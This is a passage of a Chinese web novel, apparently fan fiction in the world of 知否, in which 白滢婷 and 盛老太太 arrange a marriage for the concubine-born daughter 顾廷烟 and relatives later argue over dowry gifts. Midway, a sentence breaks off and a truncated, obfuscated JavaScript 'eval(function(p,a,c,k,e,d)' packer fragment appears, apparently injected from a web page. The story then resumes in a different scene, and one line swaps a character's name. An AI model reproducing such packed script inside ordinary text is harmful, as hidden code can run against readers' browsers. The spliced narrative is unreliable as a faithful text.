清晨,丰国公府中盛老太太的院内,白滢婷今天一大早就来拜访盛老太太了,盛老太太与白滢婷闲聊了一会儿,不难发现白滢婷眼底的一丝倦意,心中大抵猜出白滢婷的烦心事,于是她神情十分柔和,语气中带着些许关切的意味,道:“婷儿,我瞧着你这般神态,许是烟姐儿的事情不顺利吗?” 白滢婷自知瞒不过盛老太太,语气中带着些许开玩笑的意味,直言道:“还是难逃干娘的法眼啊!我带着烟姐儿去了几趟宴会,可是那些个大娘子对烟姐儿不冷不热的,我再怎么暗示,她们都充耳不闻般笑嘻嘻的岔开话题,仿佛从未听懂我的意思般。” 盛老太太瞧着白滢婷这般愁眉苦脸的样子,语气淡然,道:“宁远侯府在汴州城的名声不小,但凡有些能耐的大户人家对宁远侯府的事情也是略知一二的,虽说烟姐儿的教养是婷儿你请女夫子和嬷嬷细细教导过的,但她养在小娘膝下是个不争的事实,况且顾侯爷对烟姐儿的态度不冷不热的,属实是给不了婆家什么助力,汴州城里的大户人家们不傻,烟姐儿说到底是庶出,既没有财力雄厚的亲生母亲给她准备丰厚的嫁妆,又没有父兄的疼爱或是得力的亲兄弟帮衬,空有宁远侯府顾侯爷唯一一个女儿的名头,他们怕是看不上烟姐儿这个庶长女啊!” 白滢婷没有反驳盛老太太的话,她叹了口气,道:“其实若是低嫁也无妨,只要男方上进,家风良好,我也不反对什么的,可东昌伯爵府那位秦伯夫人对烟姐儿虎视眈眈的,再怎么低嫁,男方也得有个功名护着烟姐儿啊!要不然,我家那位八成是不会同意这门亲事的,唉,干娘,我实话实说,这烟姐儿是个好孩子,平日里对我恭谨顺从,又时常绣些荷包手帕孝敬我,我实在是想给她找一户好人家啊!” 白滢婷说到这里,语气中带着些许自责,道:“说到底如今这般,我也有些原因在内的,自古以来哥儿姑娘的婚嫁之事皆是出自嫡母之手,然后,再由嫡母告知家中主君来做决定,可我却因着与我家那位的嫌隙而不怨过多插手他名下其他子女的婚事,原本我想着他既然都给煜儿寻了门亲事,那大抵会给烟姐儿也寻门亲事吧。” 白滢婷脸上带着些许嘲讽的神情,道:“可谁曾想到烟姐儿都快十七了,他也未曾提起过,要不是出了秦伯夫人这档子事,我怕他都记不起烟姐儿如今的年岁吧,我先前想着烟姐儿虽与他甚少见面,但大抵是他唯一的女儿,再怎么说也会上点心吧,可瞧瞧他这般样子怕是连烟姐儿这个女儿的存在都不知道了吧,我瞧着他这几年对烟姐儿的婚事只字未提,便打算让烟姐儿先管家得个好名声,等我从扬州城回来后也好给烟姐儿寻门好人家,结果却半路杀出个秦伯夫人来。” 盛老太太听着白滢婷的话,她自个都替顾偃开感到尴尬与羞愧,就一个女儿都能忘,可见顾偃开对这个独女没有多上心啊!她不由得在心里暗暗想道:“要不是半路杀出个秦伯夫人来,这顾侯爷怕是等女儿出嫁了,方才想起这个女儿的存在吧。” 盛老太太也知道白滢婷为什么不愿意将顾廷烟嫁入东昌伯爵府,毕竟如今东昌伯爵府在汴州城的名声可不太好听,且不说秦家姑娘们的名声早被大秦氏给败光了,就说说现任秦家当家人秦伯夫妇吧,本来上一任秦伯爷就是个不管不顾一掷千金的主,再加上他的大娘子性子柔弱又不善管家理事,秦家到了秦伯夫妇手上已无多少家底了,这两人不想想如何勤家持家,将秦家剩余的田产铺子打理好,反而大手大脚的挥霍着,搞得秦家入不敷出还需要姻亲帮衬,若不是还有个爵位在,怕是他家哥儿们都没法娶媳妇了,不过,只要是个疼爱女儿的人家都不会把自家姑娘往东昌伯爵府这个火坑里推,因而她家的媳妇出身也高不到哪里去。 盛老太太瞧着白滢婷这般忧愁,语气柔和,道:“这些天有不少人家给府上递了拜贴,但我年纪大了,喜欢清静,你哥哥又不是什么喜欢热闹的主,所以一直未给人家回复,可这样一直压着人家的拜贴不回也不好,索性这府里已经好久没开宴席了,摆一场宴席将人都叫来也省的一一上门了,不过,若是要开宴席,我一个老人家精力实在是不足啊!如若不然,你到时候将我那外孙女烟姐儿一同带过来,给我打打下手。” 盛老太太眼含笑意的看着白滢婷,继续道:“我估摸着到时候各家大娘子也会带着小辈一同前来,烟姐儿也能随着我一同见见这些个大娘子,当然,我也会让瑾儿邀请些未婚、人品可靠的翰林院年轻同僚或是一些身负功名的晚辈来参加宴席,到时候你带着烟姐儿在宴席上瞧瞧,看能不能找个烟姐儿中意的,然后,我们再让瑾儿上门探探口风,若是双方都有意,那便定下来了,不过,婷儿你若是想给烟姐儿找门好亲事,那就要让那些个大娘子看到你对烟姐儿的重视程度,虽说顾侯爷不在乎这个女儿,但你的态度也会影响她们的判断,毕竟你不仅仅是顾侯爷的大娘子,还是陛下亲封的端淑县主和瑾儿的妹妹,更何况你膝下还育有顾侯爷的两个嫡子,只要你展现出对烟姐儿的重视,让她们看出娶烟姐儿这个媳妇并非什么也捞不到,那么烟姐儿的婚事也会顺遂些的。” 白滢婷知道盛老太太话中的意思,她思考了一会儿后,语气柔和,道:“邱小娘这些年安分守己,从未给我舔过什么堵,连带着烟姐儿也让我十分舒心,算了,我也不在乎名下多个嫡女这样的事情,待我回顾家询问邱小娘,若是她同意,隔天我就与我家那位商议将烟姐儿记入我名下的事情,若是不同意,那我再慢慢找着吧。” 白滢婷说的是实话,她自己没有女儿,顾廷烟站不占这个嫡出的身份,对她的两个儿子都没有什么影响,大抵就是自己再多出一份嫁妆罢了,对于她而言,银钱是最不缺的东西,再者,邱小娘和顾廷烟都不是什么蠢人,平日里也没有惹她生厌,所以能结一份善缘也不错,更何况那些个大娘子都是不见兔子不撒鹰的人,顾廷烟若是嫡出身份出嫁,加之嫁妆丰厚,她们也许会考虑一二。 白滢婷看着盛老太太,眼中带着些许歉意,道:“烟姐儿的婚事本就该由我这个嫡母去操持的,没曾想最后还是连带着劳累了哥哥和干娘,我也想通了,若是这次宴会还寻不到一门好亲事给烟姐儿,那我也就不急了。” 盛老太太看着白滢婷的眼中带着些许宠溺,语气里带着一丝调侃的意味,道:“你是不急,可顾家不只有烟姐儿一个未出嫁的姑娘,若是烟姐儿到了十八岁都还未定下人家,你那些个妯娌怕是要坐不住了。” 盛老太太这话虽是用调侃的语气说出来的,但其实也是在提醒白滢婷,一笔可写不出两个顾字,若是顾家出了个十八岁还未出嫁的姑娘,这影响的可是所有顾家女眷的声誉,一旦涉及自身利益时,顾家四房五房可不会像白滢婷这么为顾廷烟着想。 白滢婷一想到顾廷烟的岁数,微微皱眉,叹了口气,道:“那能怎么办呢?总不能随便找个人就把烟姐儿嫁出去吧,索性距离烟姐儿十八岁还有一年多的时间,我就尽人事听天命吧,若是一年多都没能找户好人家,那也没法子了,到时候交罚银,丢人就丢人吧,至于我那两个妯娌,四弟妹平日与我关系不错,她膝下的荧姐儿和烟姐儿只差了一岁,影响不大,等荧姐儿定下人家出嫁时,我定会备上一份厚厚的添妆,想来四弟妹也不会在意什么的,而五弟妹,她就只有两个哥儿,唯一一个庶女也早就出嫁了,烟姐儿的事情哪里能影响的到她啊!等她的孙女出生长大到出嫁时,我家烟姐儿都已经生儿育女了,这么长的时间足够世人淡忘这件事情了。” 盛老太太听着白滢婷的话,微微一笑,语气柔和且欣慰,道:“婷儿,你思虑得很周到,我对你也无需太过操心了,不过,烟姐儿能遇上你这样的嫡母,也是她的好运道啊!若是换了旁人,怕是没有婷儿你这么心善了。” 盛老太太的话让白滢婷的小脸有些微红,她眉眼弯弯,语气中带着些许羞涩,道:“我哪有干娘说的这般好啊!只不过烟姐儿到底叫我一声母亲,我总不能和她那亲生父亲一般对她不管不顾吧,瞧瞧我家那位给人当父亲的,连自家姑娘岁数快到了都不知道。”她最后一句都不忘吐槽一下顾偃开,随后又岔开话题与盛老太太聊起了其他事情,而盛老太太对此事也没什么反驳,只是微微一笑随着白滢婷的话题聊了下去。 等白滢婷下午回到顾家时,便直接找来了邱小娘,在询问过邱小娘的意见后,她就直接和顾偃开说了这件事情,如她所料的是顾偃开对此事没有多大的意见,她说完没多久,顾偃开就答应将顾廷烟记入她名下充当嫡女的事情了。 白滢婷本着快刀斩乱麻,在顾家其他人还未反应过来时,就将顾廷烟记作嫡女的事情给办完了,而盛老太太也定下丰国公府的宴席时间,并写了封邀请帖让人送到顾家来,这一瞧就是在给白滢婷做脸面的,毕竟盛瑾从白滢婷那件事情后就不太待见顾家其他人了。 白滢婷暗暗派人告知了一声顾家四房太太,说是让顾家四房太太那天将顾廷荧打扮的漂亮些,聪明人说话从来是点到为止,再加上顾家四房太太也是有女儿的人,很快就将白滢婷的暗示与顾廷烟及其丰国公府的这场宴会联系起来,她不禁在心里暗自感慨道:“瞧瞧,即使盛国公认了个母亲,人家与其母亲同样爱护着大嫂嫂,这不瞧着大嫂嫂为烟姐儿的事情烦心,便出手相助了嘛,不过说到底也是烟姐儿运道好,要不然,能遇上大嫂嫂这般好的嫡母嘛,但凡换个嫡母,一个庶女随便找个人家就嫁了吧,那会这般细细挑选呢。” 眨眼间就到了丰国公府的宴会时间,这天丰国公府的大厅内热闹非凡,盛瑾在前厅招待着各家的男宾们,而盛老太太则带着白滢婷和顾廷烟在后院招待着各家的大娘子,只见各家大娘子围在盛老太太身边说着喜庆的话语,其中一位大娘子满脸笑意,语气中满是恭维的意味,道:“盛老夫人,您家今日这宴席摆设可真是精致好看啊!您想来是费了不少功夫的吧。” 盛老太太闻言,脸上浮现出一抹微笑,道:“我一个上了年纪的老人,哪来的精力干这些啊!这都是婷儿和烟姐儿的功劳,说来也是婷儿和烟姐儿孝顺,她们不愿我多加劳累,便帮我处理了这些个杂事。” 盛老太太说着拉过顾廷烟的手,满眼慈爱的向众人述说道:“婷儿前些日子带着烟姐儿上门来看我这个老人家,我瞧着烟姐儿这般乖巧懂事的模样,心里甚是喜爱,再加上婷儿对烟姐儿也多加赞赏,便与婷儿提了一句,能否将烟姐儿记入她名下给我当嫡亲外孙女,没曾想婷儿居然真就顺着我这个老人家了。” 白滢婷站在盛老太太身旁满脸笑意,语气中满是打趣的意味,道:“干娘这是说的什么话啊!我哪里是因着您才将烟姐儿记入名下的,这烟姐儿从小对我恭谨顺从,我对她甚是喜爱,原就打算过将烟姐儿记入名下,只不过先前陪着父亲和哥哥回了一趟扬州城才给耽搁了。” 在座的大娘子们瞧着顾廷烟的模样不差,明眸皓齿,气质柔和,目前来看礼数上也没有什么错误,也不管白滢婷和盛老太太的话到底是真是假,都笑着夸顾廷烟长得好,是个美人,盛老太太和白滢婷得了个好外孙女女儿之类的话,毕竟这是丰国公府的宴席,她们不能说些让主家不开心的话。 白滢婷见此,眼含笑意,道:“各位大娘子秒赞了,哪里有你们说的那么好啊!烟姐儿不过是长得比较标致罢了。” 白滢婷说到这里,眼含一丝疼惜,道:“可惜啊!我家烟姐儿小时候身子骨弱了些,我和官人心疼她,便让她在院中养着,嫌少见人,因着对她的疼爱留到了现在。” 白滢婷顿了顿,眼中带来些许忧愁,轻声道:“这一留便忘了时间,等到她快到十七岁时,才想起她还未成正式见过其他人呢,这不正巧哥哥府中举办宴席,我便想着借这次宴席,让她见见各位大娘子,若是她有不知道礼数的地方,还望各位大娘子海涵啊!说到底都是我们这当父母的错。” 在场的大娘子大多是大户人家出身,夫家又是有头有脸的人家,白滢婷说到这里,明眼人都知道白滢婷是想借着这次宴席给顾廷烟找夫家,于是各家大娘子都笑着和白滢婷岔开话题,一看就是对顾廷烟的兴趣不大,并不想要顾廷烟这个媳妇。 在场的大娘子就没一个是傻子,都是当家大娘子,平日里的交际圈也十分广泛的,因着顾偃开的忽视,再加上正巧顾廷烟及笄后白滢婷没有参加过什么宴会,所以汴州城的交际圈中嫌少听说顾家大房还有个姑娘,不过,这并不妨碍她们推断出顾廷烟是个养在妾侍膝下不得宠的庶女,别看白滢婷说的天花乱坠的,哪有姑娘快到十七岁才正式见人的,可见这个三姑娘平日里不受顾偃开的重视,虽然白滢婷将顾廷烟记入名下,但到底自己养的和别人养的还是不一样的,这顾廷烟在白滢婷心中的份量还有待考量呢,她们可舍不得拿自己的亲儿子去冒险。 这些个大娘子虽然心中是这般想的,但面上却不能让白滢婷看出她们对顾廷烟的嫌弃,毕竟顾廷烟现在在白滢婷名下,嫌弃顾廷烟不就等于看不起白滢婷嘛,白滢婷可是盛国公捧在手心上疼爱的义妹,又是皇帝亲封的端淑县主,如今瞧着盛老太太这般也是疼她的,她们不好将人得罪了,更何况白滢婷的大儿子是汴州城出了名的凤毛麟角般的人物,也是汴州城里女婿的热门人选之一,她们也是有女儿的人,对这样的女婿也是有些意动的,所以她们只能岔开话题,这样既不会和白滢婷撕破脸,也能让白滢婷知难而退。 白滢婷瞧着这些大娘子的样子,哪里还不知道顾廷烟入不得她们的眼,她心里不由的叹了口气,诸位大娘子是什么心思,她也能猜个七七八八的,但顾廷烟毕竟是她们大房的唯一的姑娘,也不能真的嫁不出去吧。 白滢婷这般想着,她看了一眼身旁有些紧张的顾廷烟,收拾了一下心情,拉着顾廷烟的手,轻轻拍了拍,以示安抚。 盛老太太突然出言打破僵局,宛如开玩笑般的口吻,道:“婷儿你一个当母亲的居然将女儿留到快十七岁才舍得正式介绍给别人认识,真真是委屈了我的乖外孙女,等烟姐儿出嫁时,我可要好好的给她添些好东西,弥补一番烟姐儿的委屈,到时候你这个当母亲的可不能拒绝啊!” 白滢婷听着盛老太太的话,脸上浮现出一抹笑容,语气柔和道:“干娘说的是,都怪我这个当母亲的不知分寸,哪用的着干娘您破费啊!我和官人就这一个女儿,自是疼爱的,少了谁的东西也不能少了烟姐儿的东西啊!干娘你就放心吧,到时候烟姐儿的嫁妆定差不到哪里去,不过,也是我和官人耽误了她,要不然现下她怕是已经有一门好的亲事了。” 一旁起初默不作声的顾家四房太太此时也笑意盈盈,道:“瞧,大嫂嫂说的,烟姐儿可是我们顾家大房唯一的姑娘,大嫂嫂又细细找人从小教导长大的,这管家理事、为人处世都是极好的,不说别的,就大嫂嫂去扬州城的这些个日子,烟姐儿同我一起管家理事可从没出过什么岔子啊!大嫂嫂就放宽心吧,就算烟姐儿耽搁了些日子也是不愁好的婚事的。” 各家大娘子瞧着盛老太太、白滢婷、顾家四房太太的对话,心里不管怎么想的,就冲着盛老太太的面子、白滢婷的县主和侯府当家大娘子的身份,也不能说些什么,只能七嘴八舌的说着县主和侯爷的独女自是不缺女婿的。 盛老太太和白滢婷的态度也算是摆出来,就看这些个大娘子如何选择了,不过,她们还是瞧出了在座大部分的大娘子并没动心,这也在情理之中,毕竟能来参加丰国公府宴席的人家大多都不缺银钱和名声,其中文官家和武官家的大娘子想法不同。 文官家的大娘子觉得娶顾廷烟给儿子在官场上带不来什么助力,有出息的庶子在她们官人心里是有一定份量的,她们做不得主,没出息的庶子,顾家八成看不上,索性装聋作哑什么都不应和。 武官家的大娘子觉得白滢婷说的再好听,也改变不了顾廷烟是个养在妾侍膝下的庶女,再说了,顾偃开看上去也没有多在乎这个唯一的女儿,除了嫁妆之外没有什么实质的助力,她们自是不会给自己亲生儿子找这样的姑娘的,但顾廷烟若是以嫡女身份出嫁,她们也没脸开口给庶子说侯府嫡长女的婚事。 虽说大部分的大娘子的心态没有什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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白滢婷看着一旁有些紧张的邱小娘和顾廷烟,语气柔和,道:“这么多人家里面也不乏勋爵、富户人家,为什么选一个翰林院为官的,我哥哥可是说过那些个翰林院同僚算不上多有家底,只能说是略有家财,嫁过去有可能过得不如在顾家的日子,更何况那日你回来也没说瞧上何家的那个公子啊!” 顾廷烟脸上泛起一丝红晕,语气略带害羞,道:“母亲,那日时间紧张,我也没敢仔细瞧舅舅邀请来的那些个同僚,再者,女儿当时因着母亲和外祖母为我在那些个大娘子面前说的那些话而十分感动,无心思想其他的事情。” 顾廷烟说的是实话,当时她可以明显感觉出来那些个大娘子对她不屑一顾,不过,让她没想到的是盛老太太和白滢婷会为她做到这个地步,毕竟她平日里除了孝敬和向白滢婷请安外,嫌少与白滢婷相处,更别提她与盛老太太只见过几面罢了,这让她如何能不感动并惊讶到呆愣呢。 顾廷烨说到这里,眼神变得坚定起来,语气里吐露出一丝紧张,道:“我心里清楚并感激着母亲和外祖母对我的好,可我是什么身份,整个汴州城就算不知道也能猜出来,说到底我也不过是个空有嫡女名头的庶女,那些个勋爵富户人家都是为家中出息的庶子或是不学无术的嫡幼子求娶,若是嫁个庶子,以后头上是两个婆婆,日子也好过不到哪里去,若是嫁个嫡幼子,他未来若是不顺心,拿我庶女出身说事,我也拿捏不住他。” 顾廷烟说到这里看了眼白滢婷,瞧着她面不改色的样子,便继续道:“能让舅舅请上家的同僚大抵人品上是不差的,虽然家底略薄,但是能在汴州城过活便成了,再者,能考中进士可见他有些本事,最重要的一点是他的家世,即使我是宁远侯府的庶女,身份也比他家高,他便不能拿我的出身说事,不过,若是选这家的话,到底是白费了母亲和外祖母的一番心思。” 顾廷烟说完后,脸上浮现出些许愧疚的神情,随即低下头默不作声,过了一会儿,白滢婷眉眼弯弯,眼含笑意,语气柔和,道:“看来给你找的那些女夫子和嬷嬷没有白费啊!你活得这般清楚,我也能放心了。” 白滢婷说到这里,忍不住多叮嘱几句,道:“这何家虽然是小门小户,但到底父兄皆在朝堂为官,也算得上是清流人家,你万不可自持身份轻慢了未来夫家,不过,你也不用太过于小心翼翼的对待她们,这位何家公子是家中的嫡幼子,等你嫁过去后只要孝顺公婆,做好份内之事,她们定是不会为难你的,如今你已选了何家公子,那我也不再多说什么了,等过几天就派人去暗示何家赶紧上门提亲吧。” 顾廷烟抬起头眼中闪过一丝惊讶,而她身旁的邱小娘也同她一般的表情,毕竟她们觉得白滢婷和盛老太太费得这一番心思,怎么的都不会愿意顾廷烟太过低嫁。 白滢婷见这母女两相同的表情,嘴角微微弯起,道:“怎么,你们觉得我不会同意嘛,我为什么不会同意呢,我如今的身份也不需要烟姐儿你去联姻换取什么,再说了,我和干娘当初对那些个大娘子说的可不是什么假话啊!” 白滢婷说到这里,朝着顾廷烟招了招手,顾廷烟随即上前来,她抓着顾廷烟的手,轻声细语道:“烟姐儿,你是个好孩子,这些年你对我的孝心,我都看在眼里,我原本的打算若我从扬州城回来时,你父亲还未给你定下人家,我就给你找一门夫婿人品贵重、妯娌关系简单的人家,没曾想这秦伯夫人居然会对你起了心思,不过,好在现在你也算定了下来了,这件事情也算是了了。” 顾廷烟眼角有些发红,语气微微带着些鼻音,道:“母亲,我就是个庶出的姑娘,怎么配让您对我这般的好啊!” 白滢婷摸了摸顾廷烟的小脸蛋,语气柔和,道:“烟姐儿,你可不能这么说自己,若是你自己都将自己看轻了,那怎么能指望夫家高看你呢,再说了,就算你是庶出的,那也是我们宁远侯府侯爷唯一的女儿,身份贵重,谁敢看轻你,你也不用觉得低嫁对不起谁,我们大房可就你一个姑娘,而你四婶婶那边,就你那四叔父平日的作风,她就没什么让荧姐儿高嫁的想法,至于你五婶婶那边,你用不着当心什么,我和她向来不对付,就是没有你低嫁这回子事,她也会找茬说我几句的,况且她那孙女从出生到嫁人还有十几年呢,也影响不到她什么的,你且放宽了心,等满十八岁后嫁人吧。” 这会别说是顾廷烟了,就连邱小娘的眼眶也有些通红,邱小娘语气中带着些许哽咽,道:“大娘子,我当初对你那件事情知情不报,你居然还能这么帮烟儿,我真是不知道该怎么感谢你啊!” 白滢婷看到邱小娘这样,叹了口气,道:“你不必如此,当初那件事情,你也是身不由己的,更何况你是你,烟姐儿是烟姐儿,我既然被烟姐儿叫一声母亲,那就不会随意给烟姐儿找户人家许配了,行了,你们先回去吧,我也有些累了。” 白滢婷看着邱小娘那样,生怕邱小娘给她跪下磕头啊!索性找了个借口打发邱小娘母女回去,而顾廷烟显然也看出了白滢婷的想法,便拉着邱小娘行了一礼,随即离开了白滢婷的院子。 等邱小娘母女离开后,白滢婷看着常嬷嬷,眼中闪过一丝笑意,道:“我瞧着烟姐儿这当女儿的倒是比邱小娘这个当娘的聪明多了。” 常嬷嬷听到白滢婷说顾廷烟,轻声道:“说到底是姑娘心善,若非当初姑娘找人细细教导烟姐儿,烟姐儿哪会长成这般知书达礼、端庄大气的样子呢,不过,要奴婢说啊!那些个大娘子都是不识货的人,我们家烟姐儿除了在邱小娘身边长大外,那点比不上外面的嫡出姑娘了。” 白滢婷闻言,叹了口气道:“我也不怪那些个大娘子瞧不上烟姐儿,毕竟谁都不想自己嫡出的孩子娶个小娘养大的姑娘,说到底是我考虑不周了,若是我不意气用事的话,烟姐儿的亲事也能更好些。” 常嬷嬷眼中闪过一丝心疼,轻声安抚道:“姑娘莫要这么说,谁在经历了那件事情后,心里还能没有隔应的将不是自己生的孩子养在身边呢,烟姐儿和邱小娘都理解您的难处的,更何况如今您为烟姐儿做的事情,她们都念着您的恩呢。” 白滢婷眼神有些淡然,语气中带着一丝叹息,道:“我不求她们念着我什么,问心无愧就好,不过,那邱小娘也是个可怜的,跟了顾偃开这样的男子。” 白滢婷说到这里时,眼底闪过一丝嘲讽,语气中带着些许自嘲的意味,道:“我不也可怜嘛,我还是他的正妻呢。” 常嬷嬷则在一旁默不作声看着白滢婷,过了一会儿,白滢婷回过神来,面带微笑,道:“看我,又想些有的没得了,既然烟姐儿的事情已经定下了,我也好去信给丰国公府,让干娘和哥哥知晓。”她说着便起身前往书桌前,提笔写信件,常嬷嬷紧跟其后,站在白滢婷身旁看她。 64.第 64 章 光阴似箭,转瞬即逝,眨眼间便过了一年时间,汴州城丰国公府内,盛老太太屋外传来急促且紧张的声音,“安哥儿,你走慢一点,小心摔着了。” 屋内正与盛老太太闲聊的盛瑾闻声朝门外走去,只见一个粉嫩的小团子,一抖一抖的走着,活脱脱像一个弹起来的小皮球,满丰国公府有这种五短身材的人只能是盛长安本人了。 盛长安握紧双手,一抖一抖的走着,丫鬟们跟在他身边,突然,他抬头看到盛瑾,脸上的神情变得惊喜起来,语气中满是喜悦的喊道:“二叔父。” 盛瑾嘴角微微弯起,随即大步走过去,一把将盛长安抱起来,颠了颠,语气轻柔且富有感情,道:“安儿,走得这么急干什么嘛,小心摔着了,以后要慢慢走路。” 盛长安给了盛瑾一个大大的笑容,随即挥舞着紧握的双手,语气微微上扬,道:“知道了,二叔父,我要给祖母看花花,我摘得漂亮花花,给祖母。” 盛长安说到这里,将挥舞的双手放到盛瑾面前,只见他两只手握的紧紧的,隐约可以瞧出一只手里面有东西,他语气中难掩兴奋,道:“祖母要第一个看到。” 盛瑾抱着安哥儿,神情十分柔和,语气轻柔,道:“好,给祖母第一个看,安儿是个好孩子,二叔父这就抱你进去找祖母。”他说着便抱着盛长安往屋里走。 盛老太太看着自己的儿子抱着小孙子走进来,脸上带着些许笑意,语气微微上扬,道:“安儿来找祖母了,快到祖母怀里,让祖母好好瞧瞧。” 盛老太太说着便朝盛长安挥了挥手,盛瑾则是顺势将盛长安送到盛老太太怀中,随后便找个位置坐下了。 盛长安在盛老太太怀中,满脸乐呵呵的表情,他将手伸到盛老太太的面前,慢慢的展开拳头,而盛老太太也一本正经的朝着盛长安的手上望去,映入眼帘的便是一朵小小的紫色月季,静静的躺在盛长安的掌心之上。 盛长安脸上的笑容十分灿烂,语气中难言骄傲,道:“祖母,我给您找的漂亮花花,二叔父都没有的,送给祖母,祖母,花花好不好看吗?” 盛老太太瞧着盛长安满脸期待的双手捧着一朵小花看着她的样子,语气中带着些许温和,道:“安儿真孝顺,祖母喜欢你的花,真好看,祖母会用它来做书签,好好保存的。”她说完,便将花朵拿起来,夹在一旁的书中。 盛长安见状满脸喜悦的拉着盛老太太说一些他认为有趣的小事情,而盛老太太也顺着他的话饶有趣味的点头附和,这让他越说越激动,直到他说得有些口干舌燥的时候,盛老太太给他拿了杯蜜水解渴。 盛长安乖乖的捧着杯子,喝着蜜水,盛老太太则是将目光放在盛瑾身上,语气柔和,道:“烟姐儿的婚事将近,你弟弟上次来汴州城的时候带了不少贵重首饰、布匹和一千两银钱,说是你弟妹给烟姐儿的添妆,麻烦我们给烟姐儿添妆时一同送去。” 盛瑾闻言,脸上的表情没有丝毫变化,语气淡然,道:“难为他公务繁忙时还能记得这件事情,实属是有心了,我先前去吏部打听了一下,他在扬州城的政绩不错,要不了几年就能调回汴州城任职了。” 盛瑾和盛老太太心里都清楚,以王若弗的性子怕是舍不得给顾廷烟添妆这么多东西,这只能是盛纮的意思,毕竟对于盛纮而言,给顾廷烟多添些妆能换来盛瑾和盛老太太、白滢婷乃至顾家的好感,何乐而不为呢,不过,王若弗到底还是因着这些个东西和盛纮闹了一点小矛盾,时间回到盛纮和王若弗说添妆这件事情的那一天,只见王若弗满脸不情愿,道:“不过就是个庶女出身的,许的还是一个在翰林院为官的夫婿,那用得着给这么多东西啊!再说了,母亲不是也在信中说过那边有她和二哥哥,不用我们做什么嘛,官人何苦多费什么心思啊!” 王若弗说到这里,声音压低的嘀咕道:“这端淑县主也真是的,好端端的记什么嫡女啊!这不是没事找事嘛,况且那何家也不是什么高门大户,家中最高也不过正五品官职,有什么好费心的啊!” 王若弗是个传统的古代当家大娘子,她觉得记一个从未养过的庶女为嫡女是在侵犯嫡母的权益,毕竟多一个嫡出身份就多站家里的一份资源,那主母的亲生孩子便少一份资源了,即使是姑娘也一样。 单单从嫁妆这一块来说,嫡女和庶女之间的差距就极大,除去大部分的勋爵人家公中给嫡女和庶女备的嫁妆份额有差别外,最重要的便是添妆这一项了,这也是嫡女和庶女嫁妆差距的重要原因,若是顾廷烟记为嫡女,白滢婷和她身后的娘家人少不得要给她添妆,当然,若是你不怕被亲戚们说嘴,大可以不给姑娘添妆,除了嫁妆这一块外,还有一点比较重要,那顾廷烟并不是白滢婷养大的,若是记在白滢婷名下,将来婆家传出她家教不好之类的话时,影响的也是白滢婷的名声。 盛纮微微皱眉,语气中带着些许不满,道:“人家端淑县主愿意将庶女记入名下,那自有人家的深意,犯不着你去替人家操心什么,再说了,那顾廷烟就算是庶女,那也是顾侯爷唯一的女儿,其身份不是什么寻常人家的嫡女可以比的,更何况如今端淑县主还将她记为了嫡女,母亲虽说那边的事情我们不用管,但端淑县主大抵叫母亲一声干娘,那和我们盛家算起来也是亲戚,她的嫡女成婚我们少不得要添些妆,维持一下干亲之间的关系。” 王若弗眼中闪过些许不甘,道:“官人,我也是在为我们的华儿打算啊!这华儿眼瞅着就要及笄了,等华儿及笄后,要不了几年就要许配人家了,我想让华儿的嫁妆丰厚些,这家中的银钱自是要紧着华儿些的,官人这一开口就是一千两银钱、十几件上好的珠宝首饰、二十匹上好的蜀锦,这不知道的还以为你要给那顾廷烟置办嫁妆呢。” 盛纮怕王若弗对添妆的事情敷衍了事,所以直接告诉王若弗要准备什么,要不然,王若弗也不会和他扯这么久,他眼中闪过一丝讥讽,语气中暗含威胁,道:“别以为我不知道你在想些什么,若是你不想准备,那到时候端淑县主给华儿的添妆,你也莫要收下了,反正我是没脸收的,对了,二哥哥一向心疼端淑县主,我们若是不端正对端淑县主的态度,难保二哥哥心中不会有些许不满,二哥哥虽说按府中分例给华儿出一份嫁妆,可你别忘了二哥哥还能以本人和逝世的二嫂嫂的名义给华儿再出一份添妆,若是你这都给的不痛快,如何给二哥哥留个好的印象呢?你自己心里掂量掂量这份添妆该不该出吧。” 盛纮这话算是抓到了王若弗的软肋,一时之间她竟有些哑口无言了,可还没等她回话呢,盛纮就拂袖离去了。 王若弗瞧着盛纮拂袖离去的背影,语气中带着些许委屈的意味,喃喃自语道:“我又没说不给嘛,不就是少给些也不行嘛,我这不是为了华儿好嘛,再说了,那庶女本就和我们盛家没有什么感情,给她再多添妆,她也不一定念着我们盛家的好啊!还不如多留些银钱给华儿备嫁妆呢。” 刘妈妈瞧着王若弗又要装牛角尖了,急忙出言,劝道:“我的大娘子啊!主君的话也不无道理的,端淑县主都将那顾家姑娘记为嫡女了,还选择让那顾家姑娘低嫁,可见此举不仅仅是为那顾家姑娘抬高身价。” 刘妈妈顿了顿,继续道:“端淑县主怕是对这顾家姑娘有些感情的,再说了,主君这么做要的不是那顾家姑娘念着我们这房的好,而是让端淑县主念着我们这房的情谊,国公爷向来是疼爱端淑县主的,您和主君这般待端淑县主,国公爷也会念着我们这房的好,到时候也会对我们家哥儿姐儿有些许好感,说到底主君这是在给端淑县主做脸呢。” 王若弗闻言,心里才好受些,但语气中仍有些愤愤不平,道:“端淑县主就是好心,要是我啊!谁生谁养的谁管去。”显然她现在将邱小娘代入了林噙霜的角色中了,而站在她身旁的刘妈妈也知道王若弗同意盛纮的决定,随即便沉默不语的陪伴着王若弗。 王若弗心里是十分不愿意给的,你要说是白滢婷的亲生女儿她还能痛痛快快的给,并且给得更多,但这既不是白滢婷的亲生女儿,又和他们这一房不亲,碍于白滢婷嫡女的头衔和盛纮的话,她还不能给少了,此时此刻她感觉自己像个冤大头一样。 场景又回到现在盛老太太和盛瑾这边,盛老太太接着盛瑾的话,道:“那就好,想来要不了多久我也能见到华儿她们了,不过,你弟弟也是有心了,这些个东西虽比不上我们准备的东西,但也快赶上他给自家姑娘们定下的嫁妆份额了。” 盛瑾闻言并没有说什么,他没打算问盛老太太用府中的公账给顾廷烟多少添妆的事情,毕竟他既然将府中的管家钥匙交给了盛老太太,自然相信盛老太太的管家能力,不过,他不问,盛老太太也会告知他的,只见盛老太太面带微笑,道:“瑾儿,自从烟姐儿定了人家后,她也常随着婷儿一起来我们府上,每次来都带了些她和邱小娘的绣品送给我们家安儿和明儿,还将明儿的性子带得活泼了不少,她和邱小娘都是个老实本分的,这些我都看在眼里,如今她的婚期将至,我也想给她按丰国公府姑娘的嫁妆置办一份添妆。” 